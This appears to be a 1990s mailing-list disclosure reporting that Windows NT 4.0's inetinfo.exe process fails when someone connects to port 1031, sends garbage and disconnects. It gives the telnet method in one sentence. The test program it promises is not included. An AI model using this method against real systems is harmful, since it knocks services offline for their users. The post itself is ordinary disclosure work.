Looks like NT is also vulnerable to exactly the same attack as previously posted WRT connecting and throwing garbage at port 135 on another port, namely 1031 (inetinfo) The inetinfo.exe process goes insane on NT4.0. Haven't tested on 3.51. To try, telnet to 1031 on an NT machine and type garbage, then disconnect. Below is what me and Chris Bayly (Chris.Baylyat_private) rigged up to check. -Bob --------------------------------------------------------------------------- Bob Beck Obtuse Systems Corporation beckat_private http://www.obtuse.com/ True Evil hides its real intentions in its street address.
